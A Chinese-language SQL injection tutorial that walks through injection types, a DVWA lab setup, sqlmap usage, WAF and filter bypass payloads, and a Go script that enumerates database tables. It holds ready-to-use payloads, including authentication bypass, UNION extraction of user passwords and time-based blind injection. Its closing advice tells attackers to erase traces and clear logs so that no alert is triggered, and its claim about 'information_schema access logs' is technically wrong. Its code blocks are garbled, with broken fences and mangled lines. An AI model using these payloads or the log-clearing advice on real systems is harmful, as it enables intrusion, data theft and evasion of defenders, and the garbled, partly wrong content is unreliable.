0x01 探索 SQL 注入的成因与原理

SQL 注入是一种经典且高危的应用层攻击技术,通过在输入字段中插入恶意 SQL 语句,攻击者可以绕过身份验证、访问敏感数据,甚至完全控制目标数据库。尽管技术发展至今已有众多防护措施,但 SQL 注入仍在实际攻击中频繁出现,主要因为大量企业系统存在对用户输入校验不足和参数化查询缺失的问题。
数据库与 SQL 的关系
数据库(DBMS)作为信息存储核心,普遍采用结构化查询语言(SQL)进行数据操作。SQL 允许通过查询、插入、更新和删除等语句,对数据库中的数据进行管理。以下示例展示了一个常见的登录验证逻辑:
<pre><code class="language-sql">SELECT * FROM users WHERE username = 'admin' AND password = '123456';</code></pre>
在正常情况下,这条 SQL 语句用于验证用户名和密码是否匹配。然而,攻击者可以通过在输入字段中注入特殊的 SQL 语句来操控查询逻辑。例如,输入 ' OR '1'='1 将导致以下语句被执行:
<pre><code class="language-sql">SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';</code></pre>
由于 OR '1'='1' 永远为真,这样的输入直接绕过了验证,并可能导致攻击者成功登录。
常见 SQL 注入类型
- 联合查询注入(UNION-based Injection)
利用 UNION SELECT 实现的数据合并功能,在原始查询结果后拼接攻击者需要的数据。
- 基于布尔盲注(Boolean-based Blind Injection)
攻击者根据返回页面的不同响应,逐步推导数据库的结构和内容。例如: <pre><code class="language-sql"> SELECT FROM users WHERE id = 1 AND 1=1 -- 返回正常 SELECT FROM users WHERE id = 1 AND 1=2 -- 返回空白页面 `
- 基于时间盲注(Time-based Blind Injection)
通过注入会导致延迟的语句(如 SLEEP()),根据响应时间判断查询语句的真假。
- 堆叠查询注入(Stacked Queries)
支持一次性执行多个独立查询语句,攻击者可利用这种特性执行恶意操作。
- 内联查询注入(Subquery Injection)
将恶意代码注入到内嵌子查询中,改变查询结果。
SQL 注入的核心在于利用 SQL 语句的灵活性,同时滥用服务器对用户输入的不良处理逻辑。在后续章节中,我们将结合一个完整的实战案例,详细展示如何利用 SQL 注入技术完成从入侵到数据窃取的攻击链。
---
0x02 构建你的靶场环境
要研究 SQL 注入攻击,搭建一个真实的实验环境是第一步。这不仅有助于理解攻击的核心技术,也能避免因直接攻击生产系统而产生的法律和道德问题。
环境需求
我们将使用以下技术和工具:
- 操作系统:Kali Linux(攻击机)和 Ubuntu Server(搭建靶场)
- Web 服务器:Apache(支持 PHP)
- 数据库:MySQL
- 靶场框架:DVWA(Damn Vulnerable Web Application)
攻击机准备
在 Kali Linux 中预装了许多常用的渗透工具,如 sqlmap 和 Burp Suite。确保系统已经更新到最新状态: </code></pre>bash sudo apt update && sudo apt upgrade -y <pre><code>
靶场搭建步骤
- 安装 Apache 和 PHP
在 Ubuntu Server 上安装所需的服务: `bash sudo apt update sudo apt install apache2 php libapache2-mod-php php-mysql -y `
- 安装和配置 MySQL
`bash sudo apt install mysql-server -y sudo mysql_secure_installation `
创建一个测试数据库和用户: `sql CREATE DATABASE dvwa; CREATE USER 'dvwa_user'@'localhost' IDENTIFIED BY 'password'; GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwa_user'@'localhost'; FLUSH PRIVILEGES; `
- 部署 DVWA
下载 DVWA 源码并部署到 Apache 目录: `bash git clone https://github.com/digininja/DVWA.git sudo mv DVWA /var/www/html/dvwa sudo chown -R www-data:www-data /var/www/html/dvwa sudo chmod -R 755 /var/www/html/dvwa `
修改 DVWA 的配置文件: `bash sudo nano /var/www/html/dvwa/config/config.inc.php `
将 db_user 修改为 dvwa_user,db_password 修改为 password。
- 启动服务
启动 Apache 和 MySQL: `bash sudo systemctl start apache2 sudo systemctl start mysql `
访问 http://<你的服务器IP>/dvwa 确认服务正常运行。
现在,我们的靶场环境已经准备好,可以开始注入攻击的实战操作了。
---
0x03 经典注入点的发现与利用
信息收集与识别注入点
通常通过以下方式寻找潜在的注入点:
- URL 参数
示例: ` http://target.com/product.php?id=1 ` 在 URL 参数 id=1 的值中尝试添加单引号 ',观察是否出现 SQL 错误信息。
- 表单输入
在登录框、搜索框等地方输入 ' 或 "),检查返回是否有异常。

- HTTP Headers
像 User-Agent、Referer 等请求头也可能成为注入点。
- Cookies
修改存储在客户端的 Cookies 信息,测试是否可以引发 SQL 错误。
利用工具快速发现
工具是安全研究员和攻击者的必备武器,以下是使用 sqlmap 发现注入点的示例:</code></pre>bash sqlmap -u "http://target.com/product.php?id=1" --dbs <pre><code>此命令会自动检测目标链接是否存在注入点,并尝试列举数据库信息。
手动注入示例
以下是一个手动执行的经典 UNION 注入攻击示例:</code></pre>sql http://target.com/product.php?id=1 UNION SELECT 1, username, password FROM users; <pre><code>假设目标查询语句类似 SELECT id, name, price FROM products WHERE id=1,通过 UNION 将用户表中的数据拼接到结果集中。
---
0x04 绕过技巧:更隐匿的注入方式
在实际攻击中,SQL 注入通常需要规避多种防护机制。以下是常见的绕过技巧:
绕过 WAF
Web 应用防火墙(WAF)通过正则规则检测 SQL 注入特征,可以通过以下方式绕过:
- 大小写混淆:
- 注释插入:
`sql SeLeCt * FrOm users; `
`sql SELECT//name//FROM/**/users; `
绕过字符过滤
某些系统会过滤掉敏感字符,如单引号 '。可以尝试以下方式:
- 使用双引号代替单引号:
- 使用十六进制表示:
`sql SELECT * FROM users WHERE username = "admin"; `
`sql SELECT * FROM users WHERE username = 0x61646d696e; -- 'admin' in hex `
使用盲注
当系统没有返回明确的错误信息时,可以使用盲注技术。例如,时间盲注:</code></pre>sql http://target.com/product.php?id=1 AND IF(1=1, SLEEP(5), 0) <pre><code>如果页面延迟 5 秒,说明注入点有效。
---
0x05 POC 编写:用 Go 实现自动化注入
接下来,我们用 Go 语言实现一个简单的 SQL 注入工具。以下代码会尝试枚举目标数据库的表名。
</code></pre>go package main
import ( "fmt" "io/ioutil" "net/http" "strings" "time" )
// 构造 HTTP 请求 func sendRequest(url string) (string, error) { resp, err := http.Get(url) if err != nil { return "", err } defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body) if err != nil { return "", err } return string(body), nil }
// 注入表名枚举逻辑 func exploit(url string) { fmt.Println("[] Starting SQL Injection Test...") for i := 1; i <= 10; i++ { payload := fmt.Sprintf("%s' AND (SELECT LENGTH(table_name) FROM information_schema.tables LIMIT %d,1) > 0 -- ", url, i) fmt.Printf("[] Testing payload: %s\n", payload) body, err := sendRequest(payload) if err != nil { fmt.Println("[!] Error:", err) continue }
if strings.Contains(body, "expected response keyword") { // 替换为目标页面特征 fmt.Printf("[+] Found table index %d!\n", i) } time.Sleep(1 * time.Second) } }

func main() { targetURL := "http://target.com/product.php?id=1" exploit(targetURL) } <pre><code> 将此代码保存为 sqli_checker.go,然后用以下命令运行:</code></pre>bash go run sqli_checker.go `
工具会自动尝试对目标进行表名枚举。
---
0x06 攻击者的经验之谈
- 数据清理是第一步
攻击完成后,及时删除注入痕迹,清空 information_schema 的访问日志,确保不触发告警。
- 工具与手工结合
虽然自动化工具强大,但手工测试更能发现一些隐藏的注入点。灵活使用两者才能获取最佳效果。
- 环境搭建非常重要
在靶场中测试不同的防护机制和绕过策略,比直接攻击真实目标更安全,也更高效。
免责声明:本文章仅供授权的安全测试和研究使用,任何非法行为与作者无关。